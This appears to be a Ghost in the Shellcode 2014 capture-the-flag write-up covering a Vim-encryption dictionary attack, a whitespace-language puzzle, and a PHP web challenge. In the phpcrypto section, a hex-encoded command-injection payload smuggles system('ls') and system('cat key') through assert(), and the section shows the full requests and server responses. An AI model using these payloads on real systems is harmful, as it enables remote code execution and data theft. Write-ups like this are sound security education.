Ghost in the Shellcode 2014 writeups

https://2014.ghostintheshellcode.com/

crypto/dogecrypt

Wow such crypto Very download so xz.
$ file dogecrypt-b36f587051faafc444417eb10dd47b0f30a52a0b
dogecrypt-b36f587051faafc444417eb10dd47b0f30a52a0b: XZ compressed data
$ xz -dc dogecrypt-b36f587051faafc444417eb10dd47b0f30a52a0b > dogecrypt
$ file dogecrypt
dogecrypt: Vim encrypted file data

Vim encryption can use PKZIP encryption or Blowfish. This file uses PKZIP (file magic is VimCrypt~01!).

I thought about trying to turn the file contents into a zip file and then using a zip cracker. But it seemed hard to manually create the zip header and CRC and everything.

The encryption algorithm is in section 6.1 of the zip specification. The file src/misc2.c in the Vim source code has parts of the implementation (crypt_init_keys, DECRYPT_BYTE_ZIP, UPDATE_KEYS_ZIP). crack.go is a manual implementation of the decryption algorithm. It takes the name of an encrypted Vim file as an argument, and trial passwords from stdin. It prints the password and plaintext when the plaintext is at least 75% ASCII.
$ ./crack dogecrypt < /usr/share/dict/words
"parliament" → "The key is: ShibeSuchDictionaryAttacksWow\n\n\n\n                                  wow\n\n                                                        very much ctf\n\n                                                                      most key\n\n\n\n\n                            such flag\n\n\n                                         so much shellcode\n\n\n\n\n\n                                                        wow\n"

trivia/inview

The key is in view, what is it? File
$ file inview-324b8fb59c14da0d5ca1fe2c31192d80cec8e155
inview-324b8fb59c14da0d5ca1fe2c31192d80cec8e155: XZ compressed data
$ xz -dc inview-324b8fb59c14da0d5ca1fe2c31192d80cec8e155 > inview.c
$ file inview.c
inview.c: UTF-8 Unicode (with BOM) text

inview.c is a C program with suspicious whitespace that does some computation and prints a string.

$ gcc -o inview inview.c
$ ./inview
U;J4"4';75?;19#'-->

The output doesn't mean anything. The key is encoded in the whitespace of the program's source code. I first tried decoding with the SNOW steganography program but that didn't lead anywhere. It turns out the challenge uses the Whitespace programming language. The Wikipedia article led to this collection of interpreters and I just ran one of them.

$ wget https://raw.github.com/hostilefork/whitespacers/master/perl/whitespace.pl
$ perl whitespace.pl inview.c
WhitespaceProgrammingIsHard

recon/phpcrypto

GitS Presents PHPCrypto 0.000001

There is JavaScript in the HTML source. Clicking "Encrypt" or "Decrypt" does a POST to /crypto.php with function=customCrypto, the key, and the hex-encoded plaintext.

function encrypt()
{
	key = $("#key")[0].value;
	plaintexthex = toHex($("#plaintext")[0].value);
	function success(data) {$("#ciphertext")[0].value = $.parseJSON(data).returnValue;}
	$.post('crypto.php', {"function":"customCrypto", "key":key, "plaintexthex":plaintexthex}, success );
}

You can drive the customCrypto function with Wget:

$ torify wget -S -q -O - http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=customCrypto&key=yep+yep&plaintexthex=41414141'
  HTTP/1.1 200 OK
  Date: Sun, 19 Jan 2014 18:12:49 GMT
  Server: Apache/2.4.6 (Ubuntu)
  X-Powered-By: PHP/5.5.3-1ubuntu2.1
  Content-Length: 26
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html
{"returnValue":"7a66737a"}

Elsewhere in the source code we find this comment:

	/*
	TODO: add support for "help" and "dump" functions
	 */

So we try function=help and function=dump.

$ torify wget -S -O - -q http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=help'
  HTTP/1.0 500 Internal Server Error
  Date: Sun, 19 Jan 2014 17:24:08 GMT
  Server: Apache/2.4.6 (Ubuntu)
  X-Powered-By: PHP/5.5.3-1ubuntu2.1
  Content-Length: 0
  Connection: close
  Content-Type: text/html
$ torify wget -S -O crypto.html -q http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=dump'
  HTTP/1.1 200 OK
  Date: Sun, 19 Jan 2014 17:24:44 GMT
  Server: Apache/2.4.6 (Ubuntu)
  X-Powered-By: PHP/5.5.3-1ubuntu2.1
  Vary: Accept-Encoding
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Transfer-Encoding: chunked
  Content-Type: text/html

function=dump returns us HTML-highlighted source code of crypto.php.

$ w3m -cols 100000 -dump crypto.html > crypto.php

Our vuln is here:

    if (isset($DEBUG) && $DEBUG == "true")
    {
        //$message = "\$message = \"The key is: $xorKey and the plaintext is: \".addslashes(\"$plaintext\");";
        assert("\$message = \"The key is: $xorKey and the plaintext is: \".addslashes(\"$plaintext\");");
        error_log($message);
        $data['errorMsg'] .= $message;
    }
We can set DEBUG=true by including it in the POST data. assert is like eval in that it will evaluate the string given to it. We can inject what we like in $plaintext because it is passed into customCrypto as a hex-encoded string, which survives the initial sanitization. We aim to inject a string like
abc".system("ls")."
so that the code executed by assert becomes
$message = "The key is: xorKey and the plaintext is: ".addslashes("abc".system("ls")."");

First we inject a reconnaissance payload:

$ python -c 'print "abc\".system(\"ls\").\"".encode("hex")'
616263222e73797374656d28226c7322292e22
$ torify wget -S -O - -q http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=customCrypto&key=xxx&plaintexthex=616263222e73797374656d28226c7322292e22&DEBUG=true'
  HTTP/1.1 200 OK
  Date: Sun, 19 Jan 2014 18:22:29 GMT
  Server: Apache/2.4.6 (Ubuntu)
  X-Powered-By: PHP/5.5.3-1ubuntu2.1
  Vary: Accept-Encoding
  Content-Length: 159
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html
crypto.php
index.php
jquery-1.8.0.min.js
key
{"errorMsg":"The key is: ::: and the plaintext is: abckey","returnValue":"5b585918144943494e5f571218564918131418"}

Then we get the contents of the key file.

$ python -c 'print "abc\".system(\"cat key\").\"".encode("hex")'
616263222e73797374656d2822636174206b657922292e22
$ torify wget -S -O - -q http://phpcrypto.2014.ghostintheshellcode.com/crypto.php --post-data 'function=customCrypto&key=xxx&plaintexthex=616263222e7379737465
6d2822636174206b657922292e22&DEBUG=true'; echo
  HTTP/1.1 200 OK
  Date: Sun, 19 Jan 2014 18:24:40 GMT
  Server: Apache/2.4.6 (Ubuntu)
  X-Powered-By: PHP/5.5.3-1ubuntu2.1
  Vary: Accept-Encoding
  Content-Length: 201
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: text/html
ThisWasAStupidTestKeyThatBecameARealBoy
{"errorMsg":"The key is: ::: and the plaintext is: abcThisWasAStupidTestKeyThatBecameARealBoy","returnValue":"5b585918144943494e5f571218595b4e1a515f4318131418
"}